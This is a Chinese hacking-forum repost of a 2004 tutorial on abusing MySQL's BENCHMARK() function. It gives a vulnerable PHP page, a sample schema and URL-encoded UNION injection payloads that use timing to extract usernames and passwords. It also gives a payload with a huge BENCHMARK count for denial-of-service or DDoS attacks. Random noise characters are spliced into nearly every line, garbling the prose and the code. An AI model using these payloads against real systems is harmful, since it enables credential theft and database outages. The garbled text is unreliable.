找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1916|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 0 V9 s4 m" j* q" m
本文作者:SuperHei
3 G$ P- X. U7 j文章性质:原创- z2 v( c, r, {$ g
发布日期:2005-01-02
0 f# S7 V& M2 P& S完成日期:2004-07-09
& L2 C5 Z& }; Z! E0 B5 J, ~第一部) i: T1 E* g: A% u: S
- a  R0 w, q, `8 I5 u
利用时间推延进行注射---BENCHMARK函数在注射中的利用
* Y  l& b" r5 P: s
7 t. v  o/ X4 Q! C! x一.前言/思路4 \+ C4 [% W! c3 \# S! s3 w$ ~( m0 r

0 J8 I, k6 p7 n! L$ q8 b6 H  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
+ t- Y$ s8 W, A; x$ l6 s' s. A! n% W) G: u; E7 G% `
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
4 d; N8 |! z; T8 P! K6 ?1 x
2 |/ S$ o4 D. r* }4 h' _* u* d: v二.关于BENCHMARK函数
. }7 P: H' m7 g1 s$ \4 B  u7 }2 d3 ]9 g  H) b8 W
  在MySQL参考手册里可以看到如下描叙:
" W3 W; O: |; ?6 c! y6 H" e
- A4 [" z& U  `) P. Z8 O% b- W  @: I' p+ w0 p$ J: N  v9 T
--------------------------------------------------------------------------------
: U, r4 @3 {# u1 t7 l9 W5 t: X8 l0 s2 z6 i6 {
BENCHMARK(count,expr)
* u* J6 C' z( `4 [4 K( YBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
" t! q- k5 b8 I" G; |mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 0 c* T' O8 H3 m' U
+----------------------------------------------+
: \6 M. t( G0 _8 o) q| BENCHMARK(1000000,encode("hello","goodbye")) | 9 k) r, j4 a0 v( i0 h7 l
+----------------------------------------------+ % i$ j0 O5 V. e; r# i, G* r
| 0 |
- O% d0 c: d9 `, U, n+----------------------------------------------+
" r! U: Z- q1 S% E, n1 row in set (4.74 sec) : J  t, C. W( L
  v$ K) H/ N: k! J6 o
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
% x- D  c" K, d# \7 U
. r; z$ N& e( `( B/ w7 L6 X# _1 ?6 ^$ |' z* d: [
--------------------------------------------------------------------------------
8 y( K1 ]2 L; v% [2 B7 [& W1 H2 R9 J5 N/ J' H9 U
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
- t' n: `. |2 z, ?- r' s( a$ }: g: n
mysql> select md5( 'test' );   {  b: E2 a5 N, X, F6 m
+----------------------------------+ ! O7 f) y2 S( h3 H" ]( M  C
| md5( 'test' ) |
' ?7 b( L% D4 F2 f+----------------------------------+
8 W' n. F8 n5 H* e, q9 S| 098f6bcd4621d373cade4e832627b4f6 |
5 u! u# N( k3 k  Y6 u! E2 N5 O+----------------------------------+
4 p4 }2 q- j& M0 _; F1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec - r# _  B3 W/ g6 L3 {

7 k  v$ G6 N2 F  x6 c2 E# N/ x1 F: Vmysql> select benchmark( 500000, md5( 'test' ) ); / y2 |5 ]" p/ G7 d% N! ]+ v
+------------------------------------+ 9 I2 d: g3 k* I$ `/ y8 l( U0 c
| benchmark( 500000, md5( 'test' ) ) | 1 _" _: P/ T2 [2 m) _: l6 ~
+------------------------------------+
- }2 Z2 r$ ?8 J" K2 `9 c3 D| 0 |   j4 f7 s/ Q& M
+------------------------------------+
; n8 X# m- p) v0 t9 |5 E" b5 k5 M1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
% X5 n* ]3 b% o, I" j8 t
$ F1 G) G' _! A5 Q1 l9 W
. F) P0 G+ ^! V! C; U0 {' i9 U  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ; R/ d/ w! O; _" X
) N  e: o/ m( v; d# l: C% A" X
三.具体例子
* M$ l, Z, J' D! j
4 |1 Z# I! v5 b- ^" V$ S  首先我们看个简单的php代码:, [* a  q6 a9 C) ]* l8 C
5 }# ]/ G' ]4 g3 K# G6 N* u
< ?php ; h0 {  [! W8 ?5 J9 Y
$servername = "localhost"; ; P6 @+ K1 e' N
$dbusername = "root"; / _3 ?1 K2 H% C% I( I" n7 K
$dbpassword = "";
- ~1 m' y+ u& L" x! C$ o$dbname = "injection";
% ?8 X+ x1 E3 j& S) ?% t2 i% p3 l% m. U" h# S
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
" E0 P3 u' l, |% M5 _, ]! I% \: A8 K' {- `2 T
$sql = "SELECT * FROM article WHERE articleid=$id"; % i1 }; e8 Y" x, l# E4 g
$result = mysql_db_query($dbname,$sql);
' d( K& L0 ~4 A$row = mysql_fetch_array($result);
' w1 O1 g9 M- |: U# d3 E  p& D
5 b5 `. d% T, eif (!$row) & A0 B7 @& L2 `. E$ {& D9 `
{
$ b9 L! u( `* o2 @2 H$ Y: eexit; 3 n8 X7 g5 i& g( u' Y; }& u+ p! o0 H5 U
}
4 s$ P+ \, H- }4 c9 K1 N7 f8 j# D0 L?>
, H6 m+ V: G3 `9 d* ~, q7 U% h
/ L* B; J1 x" ]: |7 E" a1 i$ o) {6 ~; v6 N8 K. D
  数据库injection结构和内容如下:
5 [/ e, V4 g1 U& y. P3 f' k/ y' d5 h2 U2 M7 `1 F; I
# 数据库 : `injection`
* h+ Z3 V" i# c. ]#
' O: c* ]' T. H& i+ _0 n0 }" A& }* Q! j; @
# -------------------------------------------------------- $ }7 e- G5 Z$ d" ?- i3 C* |! D

4 c" u# ~" \" x5 C, x' D  f#
2 B5 Y+ Q- k* |: H2 N0 j# 表的结构 `article`
% o, a8 N! y4 h' S, R# / n" P: r( ?  ^7 t5 t; u
& X0 w& ~/ S0 c% r
CREATE TABLE `article` ( 9 {& F& W- Q9 t4 p2 m1 h3 V# G
`articleid` int(11) NOT NULL auto_increment,
! G$ @$ I" H. ~`title` varchar(100) NOT NULL default '', % a4 [. X3 J! s7 `
`content` text NOT NULL, 5 C" h( c: K. v6 z
PRIMARY KEY (`articleid`)
0 W' i7 E5 g# v; U1 V) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 B3 A0 j& t8 K7 A3 ]' @: C$ ]( p2 b: E* p  ~
#
0 v; D. _; {9 t' s$ q3 R' I/ v- `1 {# 导出表中的数据 `article` # M! X9 f8 s" \7 v
#
+ t4 Z! N2 T! h0 m% @5 b7 d
# \& z1 P( U1 y7 mINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
! u7 o- a( Z" @: D5 e  UINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
2 G) ?" @3 o) J1 B) y) Y" Y5 _2 A+ y) _' q
# -------------------------------------------------------- 8 w, h1 `! T- q
$ F  U$ ?3 A# e% n
#
$ X3 {8 f4 ^/ P' p0 v# 表的结构 `user` + N& q! n/ |" Z
# - s8 h+ h" l5 T4 S

9 C# O: ]$ q- m1 Q2 {& [CREATE TABLE `user` ( ! M( p& v* |8 s. |
`userid` int(11) NOT NULL auto_increment,
& _- g3 M& n# c`username` varchar(20) NOT NULL default '',
4 N9 v/ M, N: N$ r1 _`password` varchar(20) NOT NULL default '', - i: S. P) B5 t/ u. e, M
PRIMARY KEY (`userid`) $ g: z; y! c; m) p* L* V3 H' W
) TYPE=MyISAM AUTO_INCREMENT=3 ; ) \. x6 v# _' ^! {

7 f) x# F. k+ P6 U: {5 G& X5 e#
+ ~" q; z8 i) ^6 P6 z# 导出表中的数据 `user` , E- T$ C  e8 D; y$ |
# 0 N# u3 Q9 H3 w
3 N% Z7 i/ {6 b5 E3 J
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
; [0 m% v7 p0 n  N  w/ K2 NINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
/ x/ I( A! _& U) R
9 T" P2 a8 A1 m6 d* Q' O) h6 i. ~( I$ Y; J  x0 Y: \
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
7 U4 J3 M. D" C8 M+ z( @% K; F/ s$ Q) c0 c* X5 T  n
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*6 `1 }# i' ?- V# L2 G3 b8 t
2 v( j! n. g' }, s2 P' t( F# M2 q* F

# Z6 x) [1 ]  Q$ e* Q/ y  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:0 z/ I. c: G, B1 ^

4 n# w2 f& v+ G. u7 Qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*/ M7 A1 [7 V5 D9 Y

; x2 g* d7 D3 I6 ~  Y) _: Q5 I% {6 h& k
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 1 b$ p; ^: b% l$ ?0 I% f1 {& @

: ]0 Q# l- w1 k1 h2 r5 i4 F7 C2 K  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
% v5 X1 L" A( E# `1 z- }, F7 A. {. _. \* z/ C6 d/ K" x
第二部
, o# C6 w6 L$ @
2 _- t5 z# E. l2 R利用BENCHMARK函数进行ddos攻击 / o6 l/ J+ e7 }+ @0 X' g

, n: P! p/ y& H& w. t  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:/ U4 y1 e9 P3 _+ T+ y& U
2 S1 `  c6 s1 ]1 m* c! o
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)), J  R, ~; W9 W* t

; R9 R+ Q: H+ \! z; O6 S! f. T, q, c0 m! q. K
小结
0 T# }1 _* r$ ~/ L; d
4 W3 w5 Q0 ]6 E  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。# Q' I1 |' n: G7 X& V5 y' h
9 z& f' W! I) S! h. v) ]" p5 d
  
$ _! l) I% G4 n1 B' e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表